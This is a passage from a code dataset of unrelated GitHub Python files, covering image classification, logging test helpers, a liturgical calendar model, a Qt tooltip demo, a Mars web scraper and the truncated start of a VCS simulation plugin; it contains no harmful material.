history = model.fit(X_train, y_train, batch_size=32, epochs=epochs, validation_data=(X_test, y_test))\n\n # save model\n model.save(\"./training/TSR.h5\")\n return\n\n# if no model exists, build model, otherwise leave commented out\n# build_model()\n\n# load model\n\n\n# testing\ndef testcsv(filename='Test.csv'):\n X_test, label = testing(filename)\n predict_x=model.predict(X_test)\n Y_pred=np.argmax(predict_x,axis=1)\n print(\"Accuracy with Test.csv: {:.2%}\".format(accuracy_score(label, Y_pred)))\n return\n\n# test on an image and graph the resulting class with confidence level\n# ex graph_img_test('Train/40/00040_00011_00029.png')\n# ex graph_img_test('Test/12629.png')\ndef graph_img_test(img_file=None):\n if img_file == None:\n print(\"Please provide an image from Test/\")\n return\n plot,prediction,confidence_array = test_on_img(r'./{}'.format(img_file))\n # confidence_array is a 2D array, holds confidence for every class\n # index with highest confidence is the class\n s = [str(i) for i in prediction]\n a = int(\"\".join(s))\n confidence = confidence_array[0][np.argmax(confidence_array)]\n title = \"Predicted class: {}\\nConfidence: {:.2%}\".format(classes_dict[a],confidence)\n plt.imshow(plot)\n plt.title(title, fontsize='12')\n plt.show()\n return\n\n# graph_img_test('output/319.jpg')\n\n# increments the angle of rotation to find where the model begins to misclassify manipulated images\n\ndef find_confidence_limit(filecsv='Test.csv'):\n # Make output dir\n if os.path.isdir('output'):\n shutil.rmtree('output') # remove the directory if it exists\n os.mkdir('output')\n\n y_test = pd.read_csv(filecsv)\n imgs = y_test[\"Path\"].values\n labels = y_test[\"ClassId\"].values\n # Input image path\n img_path = imgs[0]\n # Correct class\n true_class = labels[0]\n # Rotation range\n rot_range = 360\n # Ideal image shape (w, h)\n img_shape = None\n # Instantiate the class\n it = ImageTransformer(img_path, img_shape)\n predicted_classes = []\n predicted_confidence = []\n # Iterate through rotation range\n for ang in range(rot_range):\n # NOTE: Here we can change which angle, axis, shift\n \"\"\" Example of rotating an image along x and y axis \"\"\"\n rotated_img = it.rotate_along_axis(theta = ang)\n save_image('output/{}.jpg'.format(str(ang).zfill(3)), rotated_img)\n plot,prediction,confidence_array = test_on_img(r'./output/{}.jpg'.format(str(ang).zfill(3)))\n s = [str(i) for i in prediction]\n predicted_class = int(\"\".join(s))\n confidence = confidence_array[0][np.argmax(confidence_array)]\n predicted_classes.append(predicted_class)\n predicted_confidence.append(confidence)\n fig, axs = plt.subplots(2, 1)\n axs[0].plot(predicted_confidence)\n axs[0].set_title('Confidence VS Angle of Rotation')\n axs[1].plot(predicted_classes)\n axs[1].set_title('Predicted Class VS Angle of Rotation\\nTrue Class: {}'.format(true_class))\n # plt.plot(predicted_classes[confidence])\n plt.show()\n return\n\nmodel_epochs = input(\"Which model would you like to use?: \")\nmodel = load_model('./training/TSR_'+model_epochs+'.h5')\nfind_confidence_limit()\n\n'''images = 12629\ndegree = input(\"Degree?: \")\nangle = int(degree) + 270\nfor i in range(images):\n new_image = manipulate(r'./Test/' + f\"{i:05d}\" + '.png', angle)\n cv2.imwrite(r'./'+degree+'_deg_TEST/' + f\"{i:05d}\" + '.png', new_image)'''\n","repo_name":"msheps03/ECE371H","sub_path":"old_main.py","file_name":"old_main.py","file_ext":"py","file_size_in_byte":9878,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"38825774993","text":"\"\"\"\nContains a number of testing utilities.\n\"\"\"\n\nimport contextlib\nimport logging\nimport os\nimport re\n\n\nclass ListHandler(logging.Handler):\n def __init__(self):\n self.records = []\n logging.Handler.__init__(self)\n\n def emit(self, record):\n self.records.append(record)\n\n\n@contextlib.contextmanager\ndef capture_log():\n \"\"\"\n Captures all LogRecords to a list, and returns the list::\n\n with capture_log() as log:\n # ...do something...\n\n # log is a list of all the captured LogRecords\n \"\"\"\n handler = ListHandler()\n log = logging.getLogger('stpipe')\n log.addHandler(handler)\n yield handler.records\n log.removeHandler(handler)\n\n\ndef pattern_to_re(pattern):\n \"\"\"\n Converts a pattern containing embedded regular expressions inside\n {{ }} to a Python regular expression.\n \"\"\"\n regex = []\n while pattern:\n verbatim, sep, pattern = pattern.partition('{{')\n regex.append(re.escape(verbatim))\n exp, sep, pattern = pattern.partition('}}')\n regex.append(exp)\n return '^{0}$'.format(''.join(regex))\n\n\ndef match_log(log, expected):\n \"\"\"\n Matches a log to an expected log.\n\n Parameters\n ----------\n log : list of LogRecord objects\n\n expected : list of strings\n Each string may contain embedded regular expressions inside of\n {{ }}. For example, to match on any filename::\n\n \"Opened file: {{.*}}.\"\n\n Raises\n ------\n ValueError : when one of the entries doesn't match\n \"\"\"\n for a, b in zip(log, expected):\n msg = a\n regex = pattern_to_re(b)\n match = re.match(regex, msg)\n if not match:\n with open(\"correct.txt\", 'w') as fd:\n fd.write('[\\n')\n for a in log:\n fd.write(' {0!r},\\n'.format(a))\n fd.write(']\\n')\n\n raise ValueError((\n \"Logs do not match.\"\n \"\\nExpected:\"\n \"\\n '{0}'\"\n \"\\nGot:\"\n \"\\n '{1}'\\n\".format(\n b, msg\n )))\n\n\ndef t_path(partial_path):\n \"\"\"Construction the full path for test files\"\"\"\n test_dir = os.path.dirname(__file__)\n return os.path.join(test_dir, partial_path)\n","repo_name":"spacetelescope/jwst","sub_path":"jwst/stpipe/tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":495,"dataset":"github-code","pt":"62"} +{"seq_id":"3199154073","text":"\"\"\"\nFind the length of the longest\npalindrome that can be formed\n\n1. Iterate over string, create a dict with key=char and val=no. of repeatition\n2. Now iterate over the keys,\n if val=even, add to result\n if val=odd,\n check first odd occurence\n if yes: add to result\n if not: add to result-1\n \n\n\"\"\"\n\n\nclass Solution(object):\n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n d={}\n l=0 \n for x in s:\n if x in d.keys():\n d[x]+=1\n else:\n d[x]=1\n\n notChecked=True\n \n for x in d.keys():\n if d[x]%2==0:\n l=l+d[x]\n else:\n if notChecked:\n l=l+d[x] \n notChecked=False\n else:\n l=l+d[x]-1\n \n return l\n","repo_name":"unsortedtosorted/codeChallenges","sub_path":"longestPalindrome.py","file_name":"longestPalindrome.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7432051899","text":"import datetime\nimport importlib\nimport logging\nimport re\nfrom collections import OrderedDict\nfrom copy import copy\nfrom datetime import date, timedelta\nfrom typing import ItemsView, List, Tuple, Union\n\nfrom constants.common import (TEMPORA_C_10A, TEMPORA_C_10B, TEMPORA_C_10C, TEMPORA_C_10PASC, TEMPORA_C_10T,\n TABLE_OF_PRECEDENCE, TEMPORA_EPI1_0,\n TEMPORA_EPI1_0A, TEMPORA_PENT01_0,\n TEMPORA_RANK_MAP, TYPE_TEMPORA, WEEKDAY_MAPPING, PATTERN_EASTER,\n PATTERN_PRE_LENTEN,\n PATTERN_LENT, GRADUALE_PASCHAL, TRACTUS, GRADUALE,\n CUSTOM_INTER_READING_SECTIONS,\n SUNDAY, PATTERN_POST_EPIPHANY_SUNDAY, TEMPORA_PENT23_0, INTROIT, OFFERTORIUM,\n COMMUNIO,\n TEMPORA_NAT2_0, SANCTI_01_01, PREFATIO_COMMUNIS, TEMPORA_PASC5_0,\n TEMPORA_PASC5_4,\n TEMPORA_PENT01_0A, FERIA)\nfrom propers.models import Proper, ProperConfig\nfrom propers.parser import ProperParser\nfrom utils import get_custom_preface, match\n\nlog = logging.getLogger(__name__)\n\n\nclass Observance:\n \"\"\"\n A class representing a single observance, such as \"The first Friday after Pentecost\" or \"Assumption of Mary\".\n It parses observance's ID and extracts weekday, day's class/rank, human readable identifier and vestment color.\n\n Example:\n 'tempora:Epi2-4:4:g'\n rank: 4\n weekday: 3\n name: Epi2-4\n color: green\n\n Each identifier consists of four colon-separated elements:\n flexibility - determines if it's a fixed (sancti) or movable (tempora) observance\n identifier - a unique human readable observance identifier. In case of movable\n days it's a day's name, in case of 'sancti' days it contains a date\n in format %m-%d\n rank - observance's class, a number between 1 and 4\n vestment color - a string consisting of one ore more concatenated first letters of vestment color\n\n Example:\n 'tempora:Epi2-3:4:g' - means movable day of fourth class\n which is third feria day (Wednesday) in second week after Epiphany, vestment color is green\n 'sancti:11-19:4:w' - means a fixed day of fourth class falling on 19 Nov, color is white\n \"\"\"\n\n lang = None\n\n def __init__(self, observance_id: str, date_: date, lang: str):\n \"\"\" Build an Observance out of identifier and calendar date\n\n :param observance_id: observance's identifier in format\n ::\n :type observance_id: string\n :param date_: specific date in which the observance is supposed\n to be placed. For some Sancti days its rank (class)\n depends on which calendar day they occur.\n :type date_: `date ` object\n \"\"\"\n self.date = date_\n self.lang = lang\n translation = importlib.import_module(f'constants.{lang}.translation')\n flexibility, name, rank, color = observance_id.split(':')\n self.flexibility: str = flexibility\n self.name: str = name\n self.rank: int = self._calc_rank(observance_id, int(rank))\n self.colors = list(color)\n self.id: str = ':'.join((self.flexibility, self.name, str(self.rank), color))\n self.title: str = translation.TITLES.get(observance_id)\n if flexibility == TYPE_TEMPORA and observance_id not in (TEMPORA_C_10A, TEMPORA_C_10B, TEMPORA_C_10C, TEMPORA_C_10PASC, TEMPORA_C_10T):\n self.weekday = WEEKDAY_MAPPING[re.sub(r'^.*-(\\d+).*$', '\\\\1', name)]\n else:\n self.weekday = self.date.weekday()\n self.priority = self._calc_priority()\n\n def get_proper(self, config=None) -> Tuple['Proper', 'Proper']:\n proper: Tuple['Proper', 'Proper'] = ProperParser(self.id, self.lang, config).parse()\n if re.match(PATTERN_POST_EPIPHANY_SUNDAY, self.id) and self.date.month >= 10:\n self._adjust_sunday_shifted_from_post_epiphany(proper)\n return proper\n\n def has_proper(self) -> bool:\n return ProperParser(self.id, self.lang).proper_exists()\n\n def serialize(self) -> dict:\n return {'id': self.id, 'rank': self.rank, 'title': self.title, 'colors': self.colors}\n\n def _calc_rank(self, observance_id: str, original_rank: int) -> int:\n \"\"\"\n Some observance's ranks depend on calendar day on which they fall, for example:\n Advent feria days between 17 and 23 December are 2 class,\n while other feria Advent days are 3 class;\n \"\"\"\n for case in TEMPORA_RANK_MAP:\n if self.date.month == case['month']\\\n and self.date.day == case['day']\\\n and re.match(case['pattern'], observance_id):\n return case['rank']\n return original_rank\n\n def _calc_priority(self) -> Union[None, int]:\n \"\"\"\n Calculate priority according to the Precedence Table.\n \"\"\"\n for priority, pattern in enumerate(TABLE_OF_PRECEDENCE):\n if re.match(pattern, self.id):\n return priority\n\n def _adjust_sunday_shifted_from_post_epiphany(self, propers: Tuple['Proper', 'Proper']) \\\n -> Tuple['Proper', 'Proper']:\n \"\"\"\n When Easter is early (e.g. 2018), Pre-lent takes up some Sundays after Epiphany, which in turn\n are shifted to the end of the period after Pentecost. In such case, each shifted Sunday is modified\n in following way:\n * Introit, Gradual, Offertorium and Communio are taken from 23rd Sunday after Pentecost\n * Collect, Lectio, Evangelium and Secreta are taken from respective shifted Sunday\n \"\"\"\n proper_sunday_23_post_pentecost: Tuple['Proper', 'Proper'] = ProperParser(TEMPORA_PENT23_0, self.lang).parse()\n for i, proper in enumerate(propers):\n for section in (INTROIT, GRADUALE, OFFERTORIUM, COMMUNIO):\n proper.set_section(section, proper_sunday_23_post_pentecost[i].get_section(section))\n\n def __repr__(self):\n return \"<{}>\".format(self.id)\n\n def __eq__(self, other):\n return not self.rank < other.rank and not other.rank < self.rank\n\n def __ne__(self, other):\n return self.rank < other.rank or other.rank < self.rank\n\n def __ge__(self, other):\n return not self.rank < other.rank\n\n def __gt__(self, other):\n return other.rank > self.rank\n\n def __lt__(self, other):\n return other.rank < self.rank\n\n def __le__(self, other):\n return not other.rank > self.rank\n\n\nclass Day:\n \"\"\" Class used to keep `Observance` objects for particular days of Missal.\n\n It contains three lists: `tempora`, `celebration` and `commemoration`.\n On Missal's creation the lists are filled in so that `tempora` always contains `Observance` representing\n given variable day, `celebration` contains an `Observance`s to be celebrated in this day and\n `commemoration` contains zero or more `Observance`s that should be commemorated with the main celebration.\n \"\"\"\n calendar: 'Calendar' = None\n tempora: List['Observance'] = None\n celebration: List['Observance'] = None\n commemoration: List['Observance'] = None\n\n def __init__(self, date_: date, calendar: 'Calendar') -> None:\n self.date = date_\n self.calendar = calendar\n self.tempora = []\n self.celebration = []\n self.commemoration = []\n\n @property\n def all(self) -> List['Observance']:\n return self.tempora + self.celebration + self.commemoration\n\n def get_tempora_id(self) -> Union[None, str]:\n if self.tempora:\n return self.tempora[0].id\n\n def get_tempora_name(self) -> Union[None, str]:\n if self.tempora:\n return self.tempora[0].title\n\n def get_celebration_id(self) -> Union[None, str]:\n if self.celebration:\n return self.celebration[0].id\n\n def get_celebration_name(self) -> Union[None, str]:\n if self.celebration:\n return self.celebration[0].title\n\n def get_celebration_colors(self) -> Union[None, List[str]]:\n if self.celebration:\n return self.celebration[0].colors\n def get_celebration_rank(self) -> Union[None, int]:\n if self.celebration:\n return self.celebration[0].rank\n\n def get_proper(self) -> List[Tuple['Proper', 'Proper']]:\n \"\"\"\n Get proper that is used in today Mass. If given day does not have a dedicated proper,\n use the one from the latest Sunday.\n \"\"\"\n celebration_propers = self._calculate_proper(self.celebration)\n if self.commemoration:\n commemoration_propers = self._calculate_proper(self.commemoration)\n for celebration_proper in celebration_propers:\n for i in (0, 1):\n celebration_proper[i].add_commemorations([j[i] for j in commemoration_propers])\n return celebration_propers\n\n def _calculate_proper(self, observances: List[Observance]) -> List[Tuple['Proper', 'Proper']]:\n \"\"\"\n Accommodate propers for given observance to the current calendar day.\n For example:\n * In paschal time show paschal gradual instead of regular gradual\n * In Lent show tractus instead of gradual\n * In feria days, when the proper from the last sunday is used, adjust day's class, remove \"alleluja\", etc.\n * In Sundays after Epiphany moved to the period after Pentecost adjust the sections accordingly\n * Show proper prefatio\n * etc.\n \"\"\"\n if observances and all([i.has_proper() for i in observances]):\n retval: List[Tuple[Proper, Proper]] = []\n for observance in observances:\n inter_readings_section = self._infer_inter_reading_section(observance)\n preface = get_custom_preface(observance, next(iter(self.tempora), None))\n proper_config = ProperConfig(preface=preface, inter_readings_section=inter_readings_section)\n retval.append(observance.get_proper(proper_config))\n return retval\n else:\n # It's a feria day without its own proper for which the last Sunday's proper is used\n inferred_observances = self._infer_observance()\n if observances and not match(observances, FERIA):\n rank: int = observances[0].rank\n preface: str = get_custom_preface(observances[0])\n else:\n rank: int = 4\n preface: str = get_custom_preface(inferred_observances)\n preface = preface if preface is not None else PREFATIO_COMMUNIS\n config: ProperConfig = ProperConfig(preface=preface, strip_alleluia=True, strip_tract=True)\n propers: Tuple[Proper, Proper] = inferred_observances.get_proper(config)\n for proper in propers:\n proper.rank = rank\n return [propers]\n\n def _infer_observance(self) -> Observance:\n # No proper for this day, trying to get one from the latest Sunday or from the Epiphany\n date_: date = copy(self.date)\n while not (date_.weekday() == SUNDAY) and not (date_.month == 1 and date_.day == 6):\n if date_ == datetime.date(self.date.year, 1, 1):\n break\n date_ = date_ - datetime.timedelta(days=1)\n day: Day = self.calendar.get_day(date_)\n # Handling exceptions\n if day.celebration[0].id == TEMPORA_EPI1_0:\n # \"Feast of the Holy Family\" replaces \"First Sunday after Epiphany\"; use the latter in\n # following days without the own proper\n return Observance(TEMPORA_EPI1_0A, date_, self.calendar.lang)\n if day.celebration[0].id == TEMPORA_PENT01_0:\n # \"Trinity Sunday\" replaces \"1st Sunday after Pentecost\"; use the latter in\n # following days without the own proper\n return Observance(TEMPORA_PENT01_0A, date_, self.calendar.lang)\n if day.celebration[0].id == TEMPORA_NAT2_0:\n # When the last Sunday is the feast of Holy Name, use proper from Octave of the Nativity\n return Observance(SANCTI_01_01, date_, self.calendar.lang)\n if day.celebration[0].id == TEMPORA_PASC5_0 and day.date.weekday() == 6:\n # Friday after the Ascension - calculated last Sunday is 5th Easter Sunday, changing to Ascension\n return Observance(TEMPORA_PASC5_4, date_, self.calendar.lang)\n if day.tempora:\n return day.tempora[0]\n return day.celebration[0]\n\n def _infer_inter_reading_section(self, observance):\n if observance.id in CUSTOM_INTER_READING_SECTIONS:\n return CUSTOM_INTER_READING_SECTIONS[observance.id]\n elif match(self.tempora, PATTERN_EASTER):\n return GRADUALE_PASCHAL\n elif match(self.tempora, [PATTERN_PRE_LENTEN, PATTERN_LENT]):\n return TRACTUS\n return GRADUALE\n\n def serialize(self) -> dict:\n serialized = {}\n for container in ('tempora', 'celebration', 'commemoration'):\n serialized[container] = [i.serialize() for i in getattr(self, container)]\n return serialized\n\n def __str__(self):\n return str(self.tempora) + str(self.celebration) + str(self.commemoration)\n\n\nclass Calendar:\n \"\"\"\n Class representing a Calendar.\n\n Internally it keeps the data in an ordered dict of `Days`s where each key is a `date` object and value\n is a `Day` containing `Observance` objects organized inside Day's members. Example:\n\n {\n ...\n datetime.date(2008, 5, 3): Day(tempora:[Observance]\n celebration:[Observance],\n commemoration:[])\n datetime.date(2008, 5, 4): Day(tempora:[Observance],\n celebration:[Observance]\n commemoration:[])\n datetime.date(2008, 5, 5): Day(tempora:[Observance],\n celebration:[Observance]\n commemoration:[])\n datetime.date(2008, 5, 6): Day(tempora:[Observance],\n celebration:[Observance]\n commemoration:[])\n ...\n }\n \"\"\"\n lang = None\n _container = None\n\n def __init__(self, year: int, lang: str) -> None:\n \"\"\" Build a calendar and fill it in with empty `Day` objects\n \"\"\"\n self.lang = lang\n self._container = OrderedDict()\n self._build_empty_calendar(year)\n\n def _build_empty_calendar(self, year: int) -> None:\n date_ = date(year, 1, 1)\n while date_.year == year:\n self._container[date_] = Day(date_, self)\n date_ += timedelta(days=1)\n\n def get_day(self, date_: datetime.date) -> Day:\n return self._container.get(date_)\n\n def find_day(self, observance_id: str) -> Union[None, Tuple[date, Day]]:\n \"\"\" Return a day representation by observance ID, if any\n\n :param observance_id: observance's identifier, for example TEMPORA_EPI6_0\n :type observance_id: string\n :return: day representation\n :rtype: list(datetime, list)\n \"\"\"\n for date_, day in self._container.items():\n if observance_id in [ii.id for ii in day.all]:\n return date_, day\n\n def items(self) -> ItemsView[date, Day]:\n return self._container.items()\n\n def serialize(self) -> dict:\n serialized = {}\n for date_, day in self.items():\n serialized[date_.strftime('%Y-%m-%d')] = day.serialize()\n return serialized\n","repo_name":"mmolenda/missalemeum","sub_path":"missalemeum/kalendar/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15937,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"62"} +{"seq_id":"27700532180","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nZetCode PySide tutorial \n\nThis example shows an icon\nin the titlebar of the window.\n\nauthor: Jan Bodnar\nwebsite: zetcode.com \nlast edited: August 2011\n\"\"\"\n\nimport sys\nfrom PySide2 import QtCore, QtGui, QtWidgets\n\nclass Example(QtWidgets.QWidget):\n \n def __init__(self):\n super(Example, self).__init__()\n \n self.initUI()\n \n def initUI(self):\n\n QtWidgets.QToolTip.setFont(QtGui.QFont('SansSerif', 10))\n\n self.setToolTip('This is a QWidget widget')\n\n btn = QtWidgets.QPushButton('Button', self)\n btn.setToolTip('This is a QPushButton widget')\n btn.resize(btn.sizeHint())\n btn.move(50, 50) \n \n self.setGeometry(300, 300, 250, 150)\n self.setWindowTitle('Tooltips') \n \n self.show()\n \ndef main():\n \n app = QtWidgets.QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()","repo_name":"michaelb-01/asset_IO","sub_path":"examples/tooltip.py","file_name":"tooltip.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41021578954","text":"import hashlib\nimport logging\nimport time\n\nlog = logging.getLogger(__name__)\n\n\ndef class_imported_from(cls, modules):\n \"\"\" Check whether or not a class was defined in the passed module list\n\n :param cls: a new-style Python class\n :param list modules: a list of modules to check for class def in\n :retval: ``True`` if class was imported from one of the\n provided modules. ``False`` otherwise.\n \"\"\"\n contained = [mod for mod in modules if cls.__module__.startswith(mod)]\n if contained:\n return True\n return False\n\n\ndef make_hashkey(seed):\n \"\"\" Generate a hashkey (string) \"\"\"\n h = hashlib.md5()\n h.update(str(seed))\n return h.hexdigest()\n\n\ndef safe_multi_call(func, args, max_attempts=5, delay=5):\n result = None\n success = True\n attempt = 1\n while attempt <= max_attempts:\n try:\n result = func(*args)\n success = True\n break\n except Exception as e:\n log.warning(\"Safe multi call failed: %s (attempt %d of %d): %s\",\n func.__name__, attempt, max_attempts, e)\n\n # Sleep and try again\n time.sleep(delay)\n attempt += 1\n else:\n log.error(\"Safe multi call did not succeed after %d attempts: %s Args: %s\",\n max_attempts, func.__name__, args)\n success = False\n\n return result, success","repo_name":"bu-ist/bux-grader-framework","sub_path":"bux_grader_framework/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"72726757636","text":"from brightest_star_module import net_feature,multitriangle\nimport os\nimport cv2\n\nMULTITRIANGLES = True\nDISTANCE_TO_CENTER_IN_PIXELS = 300\nNUMBER_OF_NEIGHBORING_STARS = 4\n\n####################### UNCHANGE #########################\nroot_preprocessed_folder = 'preprocessed_dataset/'\ndataset_folder = 'dataset/'\n\nfor i,filename in enumerate(os.listdir(dataset_folder)):\n\n read_image = cv2.imread(dataset_folder+filename)\n if MULTITRIANGLES:\n read_image = multitriangle(\n read_image,\n DISTANCE_TO_CENTER_IN_PIXELS,\n NUMBER_OF_NEIGHBORING_STARS\n )\n cv2.imwrite(root_preprocessed_folder+filename,read_image)\n else:\n read_image = net_feature(\n read_image,\n DISTANCE_TO_CENTER_IN_PIXELS,\n NUMBER_OF_NEIGHBORING_STARS\n )\n cv2.imwrite(root_preprocessed_folder+filename,read_image)","repo_name":"briancatraguna/StarTracker_Thesis","sub_path":"Pre-Exploration/Star Tracker/preprocess_generated_data.py","file_name":"preprocess_generated_data.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"10967045620","text":"import numpy as np\nfrom skimage import io, img_as_float\nimport imquality.brisque as brisque\n\ndef brisque(name):\n print(\"Cheguei aqui 1\")\n img = img_as_float(io.imread('imagens/'+name+'/Original.png',as_gray=True))\n img_clahe = img_as_float(io.imread('imagens/'+name+'/CLAHE.png',as_gray=True))\n img_he = img_as_float(io.imread('imagens/'+name+'/HistogramEqualization.png',as_gray=True))\n img_beasf = img_as_float(io.imread('imagens/'+name+'/BEASF.png',as_gray=True))\n img_gamma = img_as_float(io.imread('imagens/'+name+'/Gamma.png',as_gray=True))\n print(\"Cheguei aqui 1\")\n score_original = brisque.score(img)\n score_clahe = brisque.score(img_clahe)\n score_he = brisque.score(img_he)\n score_beasf = brisque.score(img_beasf)\n score_gamma = brisque.score(img_gamma)\n print(\"Cheguei aqui 2\")\n print('Score Lower is better')\n print(\"Brisque score of original image\"+ name+\" is =\",score_original)\n print(\"Brisque score of BEASF image\"+ name+\" is =\",score_beasf)\n print(\"Brisque score of CLAHE image\"+ name+\" is =\",score_clahe)\n print(\"Brisque score of HE image is\"+ name+\" =\",score_he)\n print(\"Brisque score of GAMMA image\"+ name+\" is =\",score_gamma)\n\nif __name__ == '__main__':\n brisque('004')","repo_name":"Gianlucca-Buzo/PDI-Covid19","sub_path":"brisque.py","file_name":"brisque.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72945128837","text":"# Import dependencies\nfrom turtle import title\nfrom splinter import Browser\nfrom bs4 import BeautifulSoup as soup\nimport pandas as pd\nimport datetime as dt\nfrom webdriver_manager.chrome import ChromeDriverManager\n\ndef scrape_all():\n # Initiate headless driver for deployment\n executable_path = {'executable_path': ChromeDriverManager().install()}\n browser = Browser('chrome', **executable_path, headless=True)\n\n # Set variables\n news_paragraph, news_title = mars_news(browser)\n\n # Run all scraping functions and store results in dictionary\n data = {\n \"news_title\": news_title,\n \"news_paragraph\": news_paragraph,\n \"featured_image\": featured_image(browser),\n \"facts\": mars_facts(),\n \"hemispheres\": hemispheres(browser),\n \"last_modified\": dt.datetime.now()\n\n }\n\n # Stop webdriver and return data\n browser.quit()\n return data\n\n# Create a function to scrape mars_news.\n# The variable \"browser\" will be defined outside of this function \ndef mars_news(browser):\n\n # Import Splinter and BeautifulSoup\n from splinter import Browser\n from bs4 import BeautifulSoup as soup\n from webdriver_manager.chrome import ChromeDriverManager\n import pandas as pd\n\n # Set up the browser\n executable_path = {'executable_path': ChromeDriverManager().install()}\n browser = Browser('chrome', **executable_path, headless=False)\n\n\n # # Article Scrapping\n # Visit the mars nasa news site\n url = 'https://redplanetscience.com/'\n browser.visit(url)\n\n # Optional delay for loading the page\n browser.is_element_present_by_css('div.list_text', wait_time=1)\n\n # Set up html parser\n html = browser.html\n news_soup = soup(html, 'html.parser')\n\n # Add try/except for error handling\n try:\n\n slide_elem = news_soup.select_one('div.list_text')\n slide_elem.find('div', class_='content_title')\n\n # Use the parent element to find the first 'a' tag and save it as 'news_title'\n news_title = slide_elem.find('div', class_='content_title').get_text()\n\n\n # Use the parent element to find the summary for the first article\n news_paragraph = slide_elem.find('div', class_='article_teaser_body').get_text()\n \n except AttributeError:\n return None, None\n\n # Return the data\n return news_title, news_paragraph\n\n\n\n# # Image Scraping\n\ndef featured_image(browser):\n\n # Visit the mars nasa news site\n url = 'https://spaceimages-mars.com/'\n browser.visit(url)\n\n # Optional delay for loading the page\n browser.is_element_present_by_css('div.list_text', wait_time=1)\n\n # Find and click the full image button\n full_image_elem = browser.find_by_tag('button')[1]\n full_image_elem.click()\n\n\n # Parse the resulting html with soup\n html = browser.html\n img_soup = soup(html, 'html.parser')\n \n # Add try/except for error handling\n try: \n # Find the relative image url\n img_url_rel = img_soup.find('img', class_='fancybox-image').get('src')\n\n except AttributeError:\n return None\n\n img_url = f'https://spaceimages-mars.com/{img_url_rel}'\n\n # Return the image url\n return img_url\n\n\n# # Mars Facts\n\ndef mars_facts():\n \n # Add try/except for error handling\n try: \n # Create a dataframe from the first table found on this webpage\n df = pd.read_html('https://galaxyfacts-mars.com/')[0]\n \n # BaseException is a catchall, that is raised when any error is encountered.\n # Does not allow any user-defined exceptions\n except BaseException:\n return None\n\n # Add column names to df\n df.columns = ['description', 'Mars', 'Earth']\n # Set the index for the df\n df.set_index('description', inplace=True)\n\n # Convert df to html\n return df.to_html(classes=\"table table-striped\")\n\ndef hemispheres(browser):\n \n # 1. Use browser to visit the URL \n url = 'https://marshemispheres.com/'\n\n browser.visit(url)\n\n # Optional delay for loading the page\n browser.is_element_present_by_css('div.list_text', wait_time=1)\n \n # 2. Create a list to hold the images and titles.\n hemisphere_data = []\n # 3. Write code to retrieve the image urls and titles for each hemisphere.\n\n # Set up html parser\n html = browser.html\n hemi_titles_soup = soup(html, 'html.parser')\n slide_elem = hemi_titles_soup.select_one(\"div\", class_=\"collapsible_results\")\n\n # 3. Write code to retrieve the image urls and titles for each hemisphere.\n # First, get a list of all of the hemispheres\n links = browser.find_by_css('a.product-item img')\n\n # Next, loop through those links, click the link, find the sample anchor, return the href\n for i in range(len(links)):\n hemisphere = {}\n \n # We have to find the elements on each loop to avoid a stale element exception\n browser.find_by_css('a.product-item img')[i].click()\n \n # Next, we find the Sample image anchor tag and extract the href\n sample_elem = browser.links.find_by_text('Sample').first\n hemisphere['img_url'] = sample_elem['href']\n \n # Get Hemisphere title\n hemisphere['title'] = browser.find_by_css('h2.title').text\n \n # Append hemisphere object to list\n hemisphere_data.append(hemisphere)\n \n # Finally, we navigate backwards\n browser.back()\n\n # Return the data\n return(hemisphere_data)\n\nif __name__ == \"__main__\":\n # If running as script, print scraped data\n print(scrape_all())\n\n","repo_name":"AvatarJoshi/Mission-to-Mars","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":5526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"42461363800","text":"# hammer-vlsi plugin for Synopsys VCS\n#\n# See LICENSE for license details.\n\nfrom hammer.vlsi import HammerSimTool, HammerToolStep, HammerLSFSubmitCommand, HammerLSFSettings\nfrom hammer.common.synopsys import SynopsysTool\nfrom hammer.logging import HammerVLSILogging\n\nfrom typing import Dict, List, Optional, Callable, Tuple\n\nfrom hammer.vlsi import FlowLevel, TimeValue\n\nimport hammer.utils as hammer_utils\nimport hammer.tech as hammer_tech\nfrom hammer.tech import HammerTechnologyUtils\n\nimport os\nimport re\nimport shutil\nimport json\nfrom multiprocessing import Process\n\nclass VCS(HammerSimTool, SynopsysTool):\n\n def tool_config_prefix(self) -> str:\n return \"sim.vcs\"\n\n def fill_outputs(self) -> bool:\n # TODO: support automatic waveform generation in a similar fashion to SAIFs\n self.output_waveforms = []\n self.output_saifs = []\n self.output_top_module = self.top_module\n self.output_tb_name = self.get_setting(\"sim.inputs.tb_name\")\n self.output_tb_dut = self.get_setting(\"sim.inputs.tb_dut\")\n self.output_level = self.get_setting(\"sim.inputs.level\")\n if self.get_setting(\"sim.inputs.saif.mode\") != \"none\":\n if not self.benchmarks:\n self.output_saifs.append(os.path.join(self.run_dir, \"ucli.saif\"))\n for benchmark in self.benchmarks:\n self.output_saifs.append(os.path.join(self.benchmark_run_dir(benchmark), \"ucli.saif\"))\n return True\n\n @property\n def steps(self) -> List[HammerToolStep]:\n return self.make_steps_from_methods([\n self.write_gl_files,\n self.run_vcs,\n self.run_simulation\n ])\n\n def benchmark_run_dir(self, bmark_path: str) -> str:\n 